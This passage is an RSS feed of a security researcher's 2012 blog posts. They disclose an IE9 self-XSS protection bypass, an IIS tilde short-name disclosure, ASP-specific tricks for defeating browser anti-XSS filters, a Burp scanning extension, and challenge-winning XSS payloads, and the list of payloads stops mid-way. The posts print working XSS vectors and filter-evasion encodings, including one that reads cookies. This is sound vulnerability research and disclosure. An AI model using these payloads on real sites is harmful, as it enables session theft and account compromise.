<p style="text-align: justify;">However, if you are a fan of using <em>IsNumeric</em> in VB, just make sure that you create a relevant numeric variable based on the input and convert the string to a number.</p>
<p style="text-align: justify;">Another solution that may reduce the performance is validation by using a Regular Expression to check the numeric inputs in string. This method can be more useful if you are using different technologies (for example Java and .Net) at the same time to maintain consistency.</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/10/dont-trust-a-string-based-on-tryparse-or-isnumeric-result-netvbscript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>IE9 Self-XSS Blackbox Protection bypass</title>
		<link>http://soroush.secproject.com/blog/2012/08/ie9-self-xss-blackbox-protection-bypass/</link>
		<comments>http://soroush.secproject.com/blog/2012/08/ie9-self-xss-blackbox-protection-bypass/#comments</comments>
		<pubDate>Mon, 13 Aug 2012 23:27:35 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[IE File Protocol]]></category>
		<category><![CDATA[IE9 Self XSS Bypass]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=635</guid>
		<description><![CDATA[Introduction: There is a defense-in-depth technique in IE9 that protects users against self XSS attacks which are growing very fast among social networking users (http://nakedsecurity.sophos.com/2010/02/02/anatomy-free-starbucks-gift-card-scam/ &#38; https://www.facebook.com/video/video.php?v=956977232793). IE9 protects users against copying and pasting a javascript or vbscript in URLs simply by detecting and removing the script protocols. For example, if you try to copy and paste [...]]]></description>
				<content:encoded><![CDATA[<h3>Introduction:</h3>
<p>There is a defense-in-depth technique in IE9 that protects users against self XSS attacks which are growing very fast among social networking users (<a href="http://nakedsecurity.sophos.com/2010/02/02/anatomy-free-starbucks-gift-card-scam/" target="_blank">http://nakedsecurity.sophos.com/2010/02/02/anatomy-free-starbucks-gift-card-scam/</a> &amp; <a href="https://www.facebook.com/video/video.php?v=956977232793" target="_blank">https://www.facebook.com/video/video.php?v=956977232793</a>).</p>
<p>IE9 protects users against copying and pasting a javascript or vbscript in URLs simply by detecting and removing the script protocols. For example, if you try to copy and paste “javascript:alert(1)” in the address bar, it will be converted to “alert(1)”. In the latest versions, it can also detect the script protocol if it starts with special characters such as Space Character (0&#215;20), Control Characters (0&#215;00-0x1F – not 0&#215;00 and 0x7F), and Colon (0x3A) (Google chrome is currently vulnerable to this <a href="http://code.google.com/p/chromium/issues/detail?id=123213" target="_blank">http://code.google.com/p/chromium/issues/detail?id=123213</a>). As a result, even if you copy and paste the decoded equivalence of the following string, IE9 will remove the “javascript:” protocol:</p>
<pre class="brush: plain; title: ; notranslate">
%01%02%03%04%05%06%07%08%09%0A%0B%0C%0D%0E%0F%10%11%12%13%14%15%16%17%18%19%1A%1B%1C%1D%1E%1F%3A%20javascript:alert(1)
</pre>
<p>However, IE9 still allows any other URL to be copied into the address bar.</p>
<h3>Description:</h3>
<p>I accidentally realised that there is a strange behaviour in IE9 and “file” protocol that can lead to execution of a Javascript/VBScript in URL (or browsing the file system).  In order to replicate the issue, follow these steps:</p>
<p>1- Add a letter before file protocol (e.g. “Xfile:”), or maximum three letters after the “file” protocol (e.g. “fileXXX:”), or add one letter before and after the file protocol (e.g. “XfileX:” )</p>
<p>2- Now, add one or more space characters (or any other control characters) after the colon character (you can use URL-encoded values) (e.g. “XfileX:%20%0A%1F”)</p>
<p>3- Add the result to “javascript:Your Code Here” (e.g. “XfileX:%20%0A%1F javascript:Your Code Here”.</p>
<p>4- Open IE9, and go to facebook.com</p>
<p>5- Try to copy and paste the final string into the address bar and press enter. (e.g. “XfileX:%20%0A%1Fjavascript:alert(document.cookie)”)</p>
<p>6- You should be able to see your cookies.</p>
<p><strong>Finally, two simple examples are:</strong></p>
<pre class="brush: plain; title: ; notranslate">
Filexx:%09javascript:alert(1)
</pre>
<pre class="brush: plain; title: ; notranslate">
xfile:%20vbscript:msgbox(1)
</pre>
<p>I have also noticed that the file system can be browsed by the following vector (in different versions of IE):</p>
<pre class="brush: plain; title: ; notranslate">
XfileX:c:/
</pre>
<pre class="brush: plain; title: ; notranslate">
XfileX:%windir%
</pre>
<p>It is almost the same as using “file:c:/” which is not a security issue on its own. However, this new vector can lead to file system access in kiosk devices that use IE and have blacklist filter on the address bar.</p>
<h3>Ctrl+Shif+L (Go to copied address) in IE9 – Can be used in Self-XSS:</h3>
<p>There is an interesting feature in IE9 that can be used to make the exploitation of this issue even easier by using social engineering techniques. An attacker needs to deceive the user to copy something into his/her clipboard and then encourage him to press “Ctrl+Shift+L”! This attack is feasible when you are able to control an IFrame inside the target website such as Facebook.</p>
<p><strong>Note 1:</strong> This issue has already been reported to MS as a low issue (<strong>msrc #12866</strong>).</p>
<p><strong>Note 2:</strong> This issue is <strong>not</strong> detectable by <a href="http://shazzer.co.uk/home" target="_blank">Shazzer</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/08/ie9-self-xss-blackbox-protection-bypass/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure</title>
		<link>http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/</link>
		<comments>http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/#comments</comments>
		<pubDate>Fri, 29 Jun 2012 22:42:53 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[IIS Tilde bug]]></category>
		<category><![CDATA[IIS Tilde character]]></category>
		<category><![CDATA[IIS tilde feature]]></category>
		<category><![CDATA[IIS tilde vulnerability]]></category>
		<category><![CDATA[Short name scanner]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=619</guid>
		<description><![CDATA[Click here to download the paper. Two security issues have been reported via this security research: 1- IIS Short File/Folder Name Disclosure by using tilde “~” character: &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Click here for the advisory 2- .Net Framework Tilde Character DoS: &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Click here for the advisory Workaround and Prevention: We are working with security vendors to come up with [...]]]></description>
				<content:encoded><![CDATA[<p><strong></strong><strong><a href="http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf">Click here to <span style="color: #ff0000;">download</span> the paper.</a></strong></p>
<p><strong><em>Two</em> </strong>security issues have been reported via this security research:</p>
<p><strong>1- IIS Short File/Folder Name Disclosure by using tilde “~” character:</strong></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://soroush.secproject.com/downloadable/iis_tilde_shortname_disclosure.txt" target="_blank">Click here for the <strong>advisory</strong></a></p>
<p><strong>2- .Net Framework Tilde Character DoS:</strong></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://soroush.secproject.com/downloadable/iis_tilde_dos.txt" target="_blank">Click here for the <strong>advisory</strong></a></p>
<p><strong>Workaround and Prevention:</strong></p>
<p>We are working with security vendors to come up with a solution to mitigate the risk of these vulnerabilities. The paper PDF file will be updated accordingly.</p>
<p style="text-align: justify;"><strong>IIS Shortname Scanner PoC – Source Code</strong>: <a href="http://code.google.com/p/iis-shortname-scanner-poc/">http://code.google.com/p/iis-shortname-scanner-poc/</a></p>
<p><strong>PoC Video:</strong><br />
<iframe src="http://www.youtube.com/embed/XOd90yCXOP4" frameborder="0" width="560" height="315"></iframe><br />
<strong></strong></p>
<p><a href="http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf"><strong>Click here to <span style="color: #ff0000;">download</span> the paper.</strong></a><br />
Download Link:</p>
<pre class="brush: plain; title: ; notranslate">

http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

</pre>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Browsers Anti-XSS methods in ASP (classic) have been defeated!</title>
		<link>http://soroush.secproject.com/blog/2012/06/browsers-anti-xss-methods-in-asp-classic-have-been-defeated/</link>
		<comments>http://soroush.secproject.com/blog/2012/06/browsers-anti-xss-methods-in-asp-classic-have-been-defeated/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 23:43:53 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[Anti-XSS bypass]]></category>
		<category><![CDATA[AntiXSS bypass]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[browsers xss protection]]></category>
		<category><![CDATA[HPP]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[xss protection bypass]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=613</guid>
		<description><![CDATA[Download Link: http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf Browsers Anti-XSS methods in ASP (classic) have been defeated! This time, I want to start with the summary section first to break the rules! Summary The intention of this paper is to prove the client-side XSS protection methods must have rules for different web application languages, otherwise they will be bypassed. This [...]]]></description>
				<content:encoded><![CDATA[<p>Download Link: <a title="Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf" href="http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf" target="_blank">http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf</a></p>
<h1 style="text-align: justify;">Browsers Anti-XSS methods in ASP (classic) have been defeated!</h1>
<p style="text-align: justify;">This time, I want to start with the summary section first to break the rules!</p>
<h2 style="text-align: justify;">Summary</h2>
<p style="text-align: justify;">The intention of this paper is to prove the client-side XSS protection methods must have rules for different web application languages, otherwise they will be bypassed. This research is based on ASP classic web applications, but it can be performed in other web application languages as well.</p>
<h2 style="text-align: justify;">Introduction</h2>
<p style="text-align: justify;">I researched different methods of sending inputs to an ASP (classic) page. I found out that almost all of the browsers’ Anti-XSS protection methods are not aware of different features of ASP that accept the inputs; therefore, all of them can be bypassed.</p>
<p style="text-align: justify;"><strong>Note</strong>: NoScript has already added all of these rules to its application and it is more secure than the others currently (thanks to Giorgio Maone for patching the application as quickly as possible). IE9 has better sense about ASP than Google Chrome, but it does not still have all the rules.</p>
<h2 style="text-align: justify;">Description</h2>
<p style="text-align: justify;">In order to make you more interested, I will start with two examples:</p>
<p style="text-align: justify;"><strong>Example 1:</strong> Do you think Anti-XSS methods should detect this easy XSS attack?</p>
<p style="text-align: justify;">
<pre class="brush: plain; title: ; notranslate">

http://www.sdl.me/xssdemo/getxss.asp?input1=&lt;script/&#038;&#038;input1=FOOBAR&#038;input1=&gt;alert('@IRSDL');&lt;/script&gt;

</pre>
</p>
<p style="text-align: justify;">Please try it in IE8/9/10 and Google Chrome to see the result.</p>
<p style="text-align: justify;"><strong>Example 2:</strong> What about this?</p>
<p style="text-align: justify;">
<pre class="brush: plain; title: ; notranslate">

http://www.sdl.me/xssdemo/getxss.asp?input1=&lt;script/&#038;in&#37;u2119ut1=&gt;al&#37;u0117rt('@IRSDL')&lt;/script/

</pre>
</p>
<p style="text-align: justify;"><strong>Example 3:</strong> Or, sometimes, the bypass can be complicated! This is how I solved my XSS1 and XSS2 questions with a single solution in SecProject.com Challenge Series 1:</p>
<p style="text-align: justify;">
<pre class="brush: plain; title: ; notranslate">

http://sdl.me/challenge1/xss1/JsChallenge1.asp?I&#37;&#37;NPUT2=Somet&#37;&#37;hing&#038;iN&#37;&#37;PUT2=')1&#038;inP&#37;&#37;UT2&#37;00&#37;00=1};lt=1;1&#038;In&#37;u2119ut2=1&#37;26&lt;1&#038;input2=0&lt;ale&#37;&#37;rt(/AWESOME_IRSDL/&#038;in&#37;u2119U&#37;&#37;T2&#37;00&#37;00&#37;0&#37;&#37;0&#37;00&#37;0&#37;&#37;0=1);1&#038;in&#37;u2119uT&#37;&#37;2&#37;00=1;i&#37;&#37;f(0&#038;in&#37;u2119ut2&#37;&#37;=1){{1&#038;I&#37;&#37;n&#37;&#37;PuT2&#37;00&#37;00&#37;00=1/&#37;&#37;*&#37;&#37;/&#038;iN&#37;&#37;p&#37;&#37;Ut2=1/&#37;&#37;/

And

http://sdl.me/challenge1/xss2/JsChallenge2.asp?I&#37;&#37;NPUT1=Somet&#37;&#37;hing&#038;iN&#37;&#37;PUT1=')1&#038;inP&#37;&#37;UT1&#37;00&#37;00=1};lt=1;1&#038;In&#37;u2119ut1=1&#37;26&lt;1&#038;input1=0&lt;ale&#37;&#37;rt(/AWESOME_IRSDL/&#038;in&#37;u2119U&#37;&#37;T1&#37;00&#37;00&#37;0&#37;&#37;0&#37;00&#37;0&#37;&#37;0=1);1&#038;in&#37;u2119uT&#37;&#37;1&#37;00=1;i&#37;&#37;f(0&#038;in&#37;u2119ut1&#37;&#37;=1){{1&#038;I&#37;&#37;n&#37;&#37;PuT1&#37;00&#37;00&#37;00=1/&#37;&#37;*&#37;&#37;/&#038;iN&#37;&#37;p&#37;&#37;Ut1=1/&#37;&#37;/

</pre>
</p>
<p style="text-align: justify;">As you see, I am only using 1 input parameter to bypass everything! (Note: this special page in xss1 converts “&lt;” and “&gt;” to “&amp;lt;” and “&amp;gt;” which was used to bypass NoScript as well – it is not a NoScript bug)</p>
<p style="text-align: justify;">Why can you bypass XSS protections? I will tell you now.</p>
<h2 style="text-align: justify;">Interesting ASP Input Features</h2>
<p style="text-align: justify;">1- HTTP Parameter Pollution (HPP): ASP is one of the web application languages which can receive several inputs with one single name. Although this feature was/is used legitimately in some of the web applications, it can be useful for attackers to bypass some restrictions as well [1].</p>
<p style="text-align: justify;">2- Certain UTF-8 characters will be transformed to their ASCII equivalents [2], [3]. It can be used in both of parameter names and their values. Therefore, “inPut1=&lt;scriPt/&gt;” is equal to “%u0131n%u2119ut1=%u3008scr%u0131%u2119t&gt;”</p>
<p style="text-align: justify;">3- Parameter names in ASP are not case sensitive. Therefore, “input1” is equal to “InPuT1”.</p>
<p style="text-align: justify;">4- Anything after the Null character will be ignored in parameter names and their values. Therefore, “input1=test” is equal to “input1%00Something=test%00Anything”</p>
<p style="text-align: justify;">5- Percentage characters (“%”) will be ignored when there is no Hex value after them in parameter names and their values. Therefore, “input1=test” is equal to “%input1%=t%%est%”</p>
<p style="text-align: justify;">6- When a parameter name after the ampersand character (“&amp;”) is not followed by an equal sign (“=”), ASP does not count it as a separate input. As a result, in “?&amp;input1=test” the parameter name is “&amp;input1”; or, in “?&amp;input1&amp;input1=test” the parameter name is “&amp;input1&amp;input1”.</p>
<h2 style="text-align: justify;">Bypassing browsers Anti-XSS protections</h2>
<p style="text-align: justify;">Now we know many different interesting features of ASP. We can mix these features together to bypass the browsers protections which do not understand these rules. Please see the above examples again to identify the feature types which have been used.</p>
<p style="text-align: justify;"><strong>Note 1</strong>: URL Encoding can be used in ASP to obfuscate the attack.</p>
<p style="text-align: justify;"><strong>Note 2</strong>: Many UTF-8 vectors such as “%u1111” will be translated to “?” in ASP which can be used in JavaScript.</p>
<p style="text-align: justify;"><strong>Note 3</strong>: Normally, a UTF-8 encoded string should have a lowercase “u”. Therefore, “%u0041” (which is “A”) is not equal to “%U0041” (which is “U0041”). However, sometimes server configurations can make these equal!</p>
<p style="text-align: justify;"><strong>Note 4</strong>: If you have more than 1 input (multi-injection), reordering the input parameters may bypass the protections (input disorder method [4]).</p>
<h2 style="text-align: justify;">Finally</h2>
<p style="text-align: justify;">Please let me know via twitter or email if you know or have found any other interesting features.</p>
<p style="text-align: justify;">This research was based on ASP classic language. However, other languages such as PHP can be studied in the same way; for example, PHP ignores spaces before the parameter names and anything after the “[]” or a null character (“%00”) in the parameter names, or in PHP, space, dot, and a lone square-bracket characters (“ .[”) in parameter names will be converted to an underscore character (“_”).</p>
<h3>References</h3>
<p>[1] HTTP Parameter Pollution, URL: <a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf</a></p>
<p>[2] NoScript New Bypass Method by Unicode in ASP, URL: <a href="http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/">http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/</a></p>
<p>[3] Lost in Translation (ASP’s HomoXSSuality), URL: <a href="http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/">http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/</a></p>
<p>[4] SecProject Web AppSec Challenge Series 1 Results, URL: <a href="http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/">http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/</a></p>
<p>&nbsp;</p>
<p>Download Link: <a title="Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf" href="http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf" target="_blank">http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/06/browsers-anti-xss-methods-in-asp-classic-have-been-defeated/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;ASPXErrorPath in URL&#8221; Technique in Scanning a .Net Web Application</title>
		<link>http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/</link>
		<comments>http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/#comments</comments>
		<pubDate>Mon, 11 Jun 2012 23:29:38 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=601</guid>
		<description><![CDATA[For a long time that I have been using a simple technique whenever I scan a black-box .Net web application. Many of you may already know about this, but I could not find anything in writing and that is why I have decided to write about it and document it. &#160; This is the scenario: [...]]]></description>
				<content:encoded><![CDATA[<p>For a long time that I have been using a simple technique whenever I scan a black-box .Net web application. Many of you may already know about this, but I could not find anything in writing and that is why I have decided to write about it and document it.</p>
<p>&nbsp;</p>
<h3>This is the scenario:</h3>
<p>We have a .Net web application which redirects you to an error page whenever there is any error. The header and body of the responses from the server are exactly the same when the page is not there or there is an error in the page. And, we are interested to distinguish 404 (page not found error) and 500 (internal error) error codes from each other.</p>
<p>Here is an example:</p>
<p>1- The following file is available on the server:</p>
<p><a title="available file" href="http://www.sdl.me/PoCs/validfile.aspx" target="_blank">http://www.sdl.me/PoCs/validfile.aspx</a></p>
<p>Note: It has an error when you do not provide its input (?input=1)</p>
<p>2- The following file is not available on the server:</p>
<p><a title="unavailable file" href="http://www.sdl.me/PoCs/invalidfile.aspx" target="_blank">http://www.sdl.me/PoCs/invalidfile.aspx</a></p>
<p>&nbsp;</p>
<p>As there are some errors in both of these links, we are redirected to “<a title="normal error page" href="http://www.sdl.me/pocs/error.html" target="_blank">http://www.sdl.me/pocs/error.html</a>”.</p>
<p>Now, <strong>how can we detect which one is really on the server and what is the actual status code?</strong></p>
<p>&nbsp;</p>
<h3>My Solution:</h3>
<p>It is possible to add a “?aspxerrorpath=/” to both of these URLs to see the actual error. It is not still possible to see the source of error, but it will help us to make the crawling results more accurate.</p>
<p>Therefore, we would have:</p>
<p>1- <a title="available file" href="http://www.sdl.me/PoCs/validfile.aspx?aspxerrorpath=/" target="_blank">http://www.sdl.me/PoCs/validfile.aspx?aspxerrorpath=/</a></p>
<p>2- <a title="unavailable file" href="http://www.sdl.me/PoCs/invalidfile.aspx?aspxerrorpath=/" target="_blank">http://www.sdl.me/PoCs/invalidfile.aspx?aspxerrorpath=/</a></p>
<p>&nbsp;</p>
<h3>Automated Scanners:</h3>
<p>Web application security scanners such as Acunetix or Burp Suite Pro can also use this feature (bug?) for the .Net applications.</p>
<p>I have created a <b>Burp Suite Extension</b> as an example that will add “?aspxerrorpath=/” to the “.aspx” files in the scope:</p>
<pre class="brush: java; title: ; notranslate">
/*
 * File Name: BurpExtender.java
 * Author: Soroush Dalili - @irsdl
 * Weblog: http://soroush.secproject.com/blog/
 * Date: 11 June 2012
 * Description: Quick extension for the &quot;ASPXErrorPath in URL&quot; technique
 * More Information:  http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/
 */

package burp;
import java.io.UnsupportedEncodingException;
import java.net.URL;

public class BurpExtender 
{
	public burp.IBurpExtenderCallbacks mCallbacks; // I will use this to keep the callbacks
	public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
	{
		mCallbacks = callbacks;
	}
	public void processHttpMessage(
			String toolName, 
			boolean messageIsRequest, 
			IHttpRequestResponse messageInfo)
	{  

		if (messageIsRequest){
			try
			{
				URL uUrl = messageInfo.getUrl();
				if (mCallbacks.isInScope(uUrl) &amp;&amp; uUrl.getFile()!=null)
				{
					if(uUrl.getFile().matches(&quot;(?im).*\\.as[\\w]x$&quot;))
					{
					String[] requestHeaderAndBody = {&quot;&quot;,&quot;&quot;};
					String finalRequestHeaderAndBody;
					requestHeaderAndBody = getHeaderAndBody(messageInfo.getRequest());
					requestHeaderAndBody[0] = requestHeaderAndBody[0].replaceAll(&quot;\\.aspx[\\?]*&quot;, &quot;.aspx?aspxerrorpath=/&amp;&quot;);
					finalRequestHeaderAndBody = requestHeaderAndBody[0]+&quot;\r\n\r\n&quot;+requestHeaderAndBody[1];
					messageInfo.setRequest(finalRequestHeaderAndBody.getBytes(&quot;UTF-8&quot;));
					}
				}
			}
			catch (Exception e)
			{
				e.printStackTrace();
			}
		}

	}

	// Split header and body of a request or response
	private String[] getHeaderAndBody(byte[] fullMessage) throws UnsupportedEncodingException{
		String[] result = {&quot;&quot;,&quot;&quot;};
		String strFullMessage = &quot;&quot;;
		if(fullMessage != null){
			// splitting the message to retrieve the header and the body
			strFullMessage = new String(fullMessage,&quot;UTF-8&quot;);
			if(strFullMessage.contains(&quot;\r\n\r\n&quot;))
				result = strFullMessage.split(&quot;\r\n\r\n&quot;,2);
		}
		return result;
	}

}
</pre>
<p>&nbsp;</p>
<h3>Recommendation for the developers/website administrators:</h3>
<p>In order to stop penetration testers to use this technique, you need to stop or rewrite any web request which has “aspxerrorpath” parameter and its destination is not the default error page.</p>
<p>For example, in IIS7 (when your error page is “error.aspx”) we can use the following “web.config”:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;
&lt;configuration&gt;
	&lt;system.web&gt;
		&lt;customErrors mode=&quot;On&quot; defaultRedirect=&quot;error.aspx&quot; /&gt;
	&lt;/system.web&gt;
	&lt;system.webServer&gt;
		&lt;rewrite&gt;
			&lt;rules&gt;
				&lt;rule name=&quot;Query String Rewrite&quot;&gt;
					&lt;match url=&quot;.*\.as[\w]x&quot; /&gt;
					&lt;conditions&gt;
						&lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;.*aspxerrorpath=.*&quot;
							negate=&quot;false&quot; /&gt;
						&lt;add input=&quot;{REQUEST_FILENAME}&quot; pattern=&quot;error.aspx&quot; negate=&quot;true&quot; /&gt;
					&lt;/conditions&gt;
					&lt;action type=&quot;Redirect&quot; url=&quot;error.aspx&quot; appendQueryString=&quot;true&quot; /&gt;
				&lt;/rule&gt;
			&lt;/rules&gt;
		&lt;/rewrite&gt;
	&lt;/system.webServer&gt;
&lt;/configuration&gt;
</pre>
<p>For more information about IIS7 URL Rewrite please visit: “<a href="http://learn.iis.net/page.aspx/664/using-url-rewrite-module-20/">http://learn.iis.net/page.aspx/664/using-url-rewrite-module-20/</a>”</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SecProject Web AppSec Challenge Series 1 Results</title>
		<link>http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/</link>
		<comments>http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/#comments</comments>
		<pubDate>Sun, 10 Jun 2012 23:54:43 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[Anti-XSS bypass]]></category>
		<category><![CDATA[AntiXSS bypass]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Challenge Results]]></category>
		<category><![CDATA[homo-characters]]></category>
		<category><![CDATA[Input Disorder]]></category>
		<category><![CDATA[Race Condition]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=560</guid>
		<description><![CDATA[I am going to have a quick write up about the questions to publish all the amazing vectors. But first, thanks to those highly skilled web application security researchers who attended my challenge series­1. You can find these awesome contestants + their results in the Hall of Fame page. Note about Anti-XSS bypasses: NoScript has [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">I am going to have a quick write up about the questions to publish all the amazing vectors. But first, thanks to those highly skilled web application security researchers who attended my<a title="secproject-web-appsec-challenge-series-1" href="http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/"> challenge series­1</a>.</p>
<p style="text-align: justify;">You can find these awesome contestants + their results in the <a href="http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/">Hall of Fame page.</a></p>
<p style="text-align: justify;">Note about Anti-XSS bypasses: NoScript has already patched all of the issues. IE9 and Google Chrome still do not have a good protection against the multi-input XSS.</p>
<h2></h2>
<h2>XSS1 and XSS2:</h2>
<p style="text-align: justify;">Multi-injected inputs in JavaScript with duality: These two questions were very similar. In fact, they could have the same answer with a little change.</p>
<p style="text-align: justify;">Instead of using all three inputs, some contestants solved them just by using two inputs. I think using two inputs even made it easier!</p>
<p style="text-align: justify;">XSS technique without parentheses from Gareth Heyes also was used in several solutions (<a href="http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/">http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/</a>).</p>
<p style="text-align: justify;">Some of the vectors could bypass the protections by changing the input orders (I call it “input disorder” method) (for example, “input2” before “input1”).</p>
<p style="text-align: justify;">No one solved XSS1 and XSS2 by using only 1 input and HPP (it was not part of the challenge to be fair); however, it is possible to solve these questions only by using 1 input and bypass all the browsers protections. You can define this as a self-challenge for yourself.</p>
<p style="text-align: justify;">None of the contestants used homo-characters in ASP to bypass the protections (<a href="http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/">http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/</a> , <a href="http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/">http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/</a>). This also was not part of the challenge, but it was possible.</p>
<h3></h3>
<h3>Results:</h3>
<p style="text-align: justify;">1- There was not a single solution that could bypass IE9 but not Google Chrome at the same time.</p>
<p style="text-align: justify;">2- Based on the solutions that I had received, all the contestants could at least bypass Google Chrome in the first try (except Firefox without having any protection obviously). Therefore, Google Chrome is an easy target for this kind of XSS vulnerability when you can control multiple inputs.</p>
<p style="text-align: justify;">3- NoScript was very tough target and it became harder and harder during the challenge as Giorgio Maone was constantly patching the issues. Most of the NoScript bypasses were patched in several hours only. Thanks to Giorgio for his support and providing us the best Anti-XSS solution which we can currently use and rely on. Please report any vector that still bypasses NoScript to Giorgio to help him to make it more secure.</p>
<h3></h3>
<h3>Vectors: Google Chrome bypass only:</h3>
<p><strong>Some of these could bypass NoScript.</strong></p>
<p>@kkotowicz (+NoScript, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=&amp;input2=%27%29a}alert%28%27@kkotowicz%27%29;function%20b%28%29{if%28/*&amp;input3=*/%27//</pre>
<p>@kkotowicz (Gareth Heyes Method, -Firefox, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b'//&amp;input2='%2F*&amp;input3=*%2F)){a}}%3Bonerror%3deval%3B;throw%22=alert\x28\%22kkotowicz\%22\x29%22;{if(%22 </pre>
<p>@kkotowicz (Gareth Heyes Method):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one&quot;%2b'//&amp;input2='%2F*&amp;input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw&quot;\&quot;kkotowicz\&quot;&quot;;{if(&quot;</pre>
<p>@kkotowicz (Gareth Heyes Method, +NoScript, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&amp;input2=%27%2F*&amp;inpui3=*%2F%29%29{}}%3B;onerror=window[%22al%22%2b%22ert%22];%22%22[%22@kkotowicz%22].kkotowicz;;{if%28%22 </pre>
<p>@superevr (2 inputs):</p>
